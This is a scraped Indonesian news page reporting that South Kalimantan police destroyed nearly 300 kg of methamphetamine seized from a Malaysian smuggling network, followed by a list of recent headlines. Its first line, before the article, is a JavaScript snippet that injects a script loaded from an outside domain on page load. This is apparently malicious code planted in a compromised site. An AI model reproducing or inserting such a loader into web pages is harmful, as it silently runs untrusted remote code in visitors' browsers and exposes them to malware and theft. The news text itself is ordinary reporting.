(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Categories: HEADLINE

Bangga Campur Miris, Ketika 300 Kg Sabu Jaringan Malaysia Dimusnahkan Polda Kalsel


KANALKALIMANTAN.COM, BANJARBARU – Kepolisian Daerah (Polda) Kalimantan Selatan memusnahkan barang bukti narkoba jenis sabu tangkapan dari jaringan Malaysia-Kaltara-Kalsel di kantor Satpas Ditlantas Polda Kalsel, Rabu (2/9/2020).

Sabu dengan berat hampir 300 kilogram tersebut dimusnahkan dengan cara diaduk dengan air detergen dan campuran bahan kimia sianida dengan menggunakan truk pengaduk beton. Cairan tersebut dituang ke dalam sebuah lubang yang kemudian ditimbun kembali dengan menggunakan eksavator.

Gubernur Kalimantan Selatan H Sahbirin Noor mengapresiasi keberhasilan jajaran Polda Kalsel dalam mengungkap peredaran narkoba internasional di Kalsel. Sahbirin Noor juga merasa bangga dan bahagia karena keberhasilan ini. “Namun di satu sisi kita miris melihat jumlah narkoba yang disita,” katanya. “Artinya narkoba ini masih ada dan belum tertanggulangi sepenuhnya,” ucap Paman Birin sapaan akrab Gubernur Kalsel.

Ia berharap, kedepan Polda Kalsel dapat bekerja lebih keras lagi untuk dapat menyelamatkan Banua dari narkoba. Paman Birin pun berharap kerja keras semua sektor agar narkoba dapat ditekan peredarannya.

Sementara itu Kapolda Kalsel Irjen Pol Dr Nico Afinta mengaku bahagia atas keberhasilan jajarannya, khususnya Ditres Narkoba Polda Kalsel. Kebahagiaan itu ujarnya juga diikuti rasa bangga karena anak buahnya tidak tergiur oleh tawaran-tawaran dari bandar-bandar besar narkoba agar meloloskan barangnya untuk masuk ke Kalimantan Selatan.

 

“Saya bangga karena mereka tidak tergiur tawaran para bandar tersebut. Jika saja mereka menerima tawaran tersebut, tentu informasi terkait peredaran barang haram ini akan hilang begitu saja,” ujar Kapolda.

Ditambahkan Kapolda kegiatan ini juga sebagai pesan kepada masyarakat bahwa jajaran Polda Kalsel serius dalam menangani peredaran narkoba di Kalimantan Selatan. “Seperti yang disampaikan Bapak Gubernur tadi, kita ingin Banua bebas dari narkoba,” tegasnya.

Sebelumnya diberitakan , publik digegerkan dengan pengungkapan ratusan kilogram sabu yang dilakukan oleh Ditresnarkoba Polda Kalsel dihalaman salah satu hotel di kawasan Jalan Sutoyo S Banjarmasin, Kamis (6/8/2020).

 

Barang haram tersebut diduga berasal dari Malaysia yang dibawa melalui Kaltara yang kemudian akan diedarkan di Kalimantan Selatan dan sekitarnya. Dalam operasi tersebut kepolisian berhasil mengamankan 4 orang tersangka yang merupakan kurir dan penerima batang. (kanalkaimantan.com/putra)

 

Reporter: Putra
Editor : Bie

 


Desy Arfianty

Recent Posts

Akhir Masa Tugas, Pjs Wali Kota Nurliani Membuka Acara Kesehatan

KANALKALIMANTAN.COM, BANJARBARU - Di akhir masa tugas yang diemban, Penjabat Sementara (Pjs) Wali Kota Banjarbaru… Read More

2 jam ago

Kembali Tak Datang, KPK Sebut Peluang Jemput Paksa Paman Birin

KANALKALIMANTAN.COM, JAKARTA - Komisi Pemberantasan Korupsi (KPK) menyinggung peluang menjemput paksa mantan Gubernur Kalimantan Selatan… Read More

2 jam ago

Pemegang Kursi DPRD Banjarbaru Terima Bantuan Keuangan Parpol, Satu Suara Dihargai Rp14 Ribu

KANALKALIMANTAN.COM, BANJARBARU - Sembilan partai politik (Parpol) pemegang kursi Dewan Perwakilan Rakyat Daerah (DPRD) Kota… Read More

3 jam ago

Diserang Secara Personal, H Saidi Mansyur Tunjukkan Kedewasaan pada Debat Publik Kedua Cabup Banjar

KANALKALIMANTAN.COM, BANJARBARU - Pasangan Calon Bupati dan Calon Wakil Bupati Banjar nomor urut 01, H… Read More

14 jam ago

Kenakan Jaket Putih, H Saidi Mansyur dan H Said Idrus Jalani Debat Publik Kedua

KANALKALIMANTAN.COM, MARTAPURA - Debat publik kedua calon bupati dan wakil bupati Kabupaten Banjar yang digelar… Read More

16 jam ago

Senam Bersama DWP Pemkab HSU Sambut HUT ke-25

KANALKALIMANTAN.COM, AMUNTAI - Ratusan ASN di lingkungan Pemerintah Kabupaten (Pemkab) Hulu Sungai Utara (HSU) mengikuti… Read More

17 jam ago

This website uses cookies.